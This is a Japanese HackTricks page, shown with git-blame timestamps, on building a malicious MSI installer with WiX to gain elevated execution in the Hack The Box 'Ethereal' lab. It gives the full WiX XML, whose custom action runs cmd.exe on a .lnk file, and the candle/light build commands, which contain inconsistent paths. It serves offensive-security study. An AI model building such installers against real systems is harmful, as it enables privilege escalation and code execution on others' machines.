2022-04-28 16:01:33 +00:00
< details >
2024-02-09 01:39:37 +00:00
< summary > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > でAWSハッキングをゼロからヒーローまで学ぶ< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-08 03:59:37 +00:00
HackTricks をサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-02-09 01:39:37 +00:00
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop ) をチェックしてください!
2024-02-08 03:59:37 +00:00
* [**公式PEASS& HackTricksスワッグ** ](https://peass.creator-spring.com )を入手する
2024-02-09 01:39:37 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ) を発見し、独占的な [**NFTs** ](https://opensea.io/collection/the-peass-family ) のコレクションを見つける
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f ) に参加するか、[**telegramグループ** ](https://t.me/peass ) に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live ) をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) と [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) のGitHubリポジトリにPRを提出する。
2022-04-28 16:01:33 +00:00
< / details >
2024-02-08 03:59:37 +00:00
# 悪意のあるMSIの作成とルートの取得
2022-04-28 16:01:33 +00:00
2024-02-09 01:39:37 +00:00
MSIインストーラーの作成は、wixtools を使用して行われます。具体的には、[wixtools ](http://wixtoolset.org ) が利用されます。別のMSIビルダーを試したが、この特定のケースでは成功しなかったことに言及する価値があります。
2024-02-03 17:36:52 +00:00
2024-02-09 01:39:37 +00:00
wix MSI の使用例を包括的に理解するためには、[このページ ](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with ) を参照することをお勧めします。ここでは、wix MSI の使用例を示すさまざまな例を見つけることができます。
2024-02-03 17:36:52 +00:00
2024-02-09 01:39:37 +00:00
目的は、lnkファイルを実行するMSIを生成することです。これを達成するために、次のXMLコードを使用できます( [ここからxmlを取得 ](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root ))。
2021-01-24 10:03:34 +00:00
```markup
<?xml version="1.0"?>
< Wix xmlns = "http://schemas.microsoft.com/wix/2006/wi" >
< Product Id = "*" UpgradeCode = "12345678-1234-1234-1234-111111111111" Name = "Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_ " Language="1033">
< Package InstallerVersion = "200" Compressed = "yes" Comments = "Windows Installer Package" / >
< Media Id = "1" Cabinet = "product.cab" EmbedCab = "yes" / >
< Directory Id = "TARGETDIR" Name = "SourceDir" >
< Directory Id = "ProgramFilesFolder" >
< Directory Id = "INSTALLLOCATION" Name = "Example" >
< Component Id = "ApplicationFiles" Guid = "12345678-1234-1234-1234-222222222222" >
< / Component >
< / Directory >
< / Directory >
< / Directory >
< Feature Id = "DefaultFeature" Level = "1" >
< ComponentRef Id = "ApplicationFiles" / >
< / Feature >
< Property Id = "cmdline" > cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</ Property >
< CustomAction Id = "Stage1" Execute = "deferred" Directory = "TARGETDIR" ExeCommand = '[cmdline]' Return = "ignore"
Impersonate="yes"/>
< CustomAction Id = "Stage2" Execute = "deferred" Script = "vbscript" Return = "check" >
fail_here
< / CustomAction >
< InstallExecuteSequence >
< Custom Action = "Stage1" After = "InstallInitialize" > < / Custom >
< Custom Action = "Stage2" Before = "InstallFiles" > < / Custom >
< / InstallExecuteSequence >
< / Product >
< / Wix >
```
2024-02-08 03:59:37 +00:00
重要な点として、Package要素には、インストーラーのバージョンを指定するInstallerVersionや、パッケージが圧縮されているかどうかを示すCompressedなどの属性が含まれていることに注意することが重要です。
2024-02-03 17:36:52 +00:00
2024-02-08 03:59:37 +00:00
作成プロセスには、msi.xmlからwixobjectを生成するために、wixtoolsのツールであるcandle.exeを利用することが含まれます。次のコマンドを実行する必要があります:
2021-01-24 10:03:34 +00:00
```
2024-02-03 17:36:52 +00:00
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
2024-01-09 15:31:32 +00:00
```
2024-02-08 03:59:37 +00:00
さらに、投稿にはコマンドとその出力を示す画像が提供されていることを言及する価値があります。視覚的なガイダンスにはそれを参照できます。
2024-02-03 17:36:52 +00:00
2024-02-08 03:59:37 +00:00
さらに、wixtoolsの別のツールであるlight.exeを使用して、wixobjectからMSIファイルを作成します。実行するコマンドは次のとおりです:
2024-01-09 15:31:32 +00:00
```
2021-01-24 10:03:34 +00:00
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
```
2024-02-09 01:39:37 +00:00
## 参考文献
2024-02-03 17:36:52 +00:00
* [https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root ](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root )
* [https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with ](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with )
[wixtools ](http://wixtoolset.org )
2022-04-28 16:01:33 +00:00
< details >
2024-02-08 03:59:37 +00:00
< summary > < strong > ゼロからヒーローまでのAWSハッキングを学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-09 01:39:37 +00:00
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-02-08 03:59:37 +00:00
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )をチェックしてください!
2024-02-09 01:39:37 +00:00
* [**公式PEASS& HackTricksスワッグ** ](https://peass.creator-spring.com )を手に入れる
2024-02-08 03:59:37 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs** ](https://opensea.io/collection/the-peass-family )のコレクションを見つける
2024-02-09 01:39:37 +00:00
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ** ](https://t.me/peass )に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
< / details >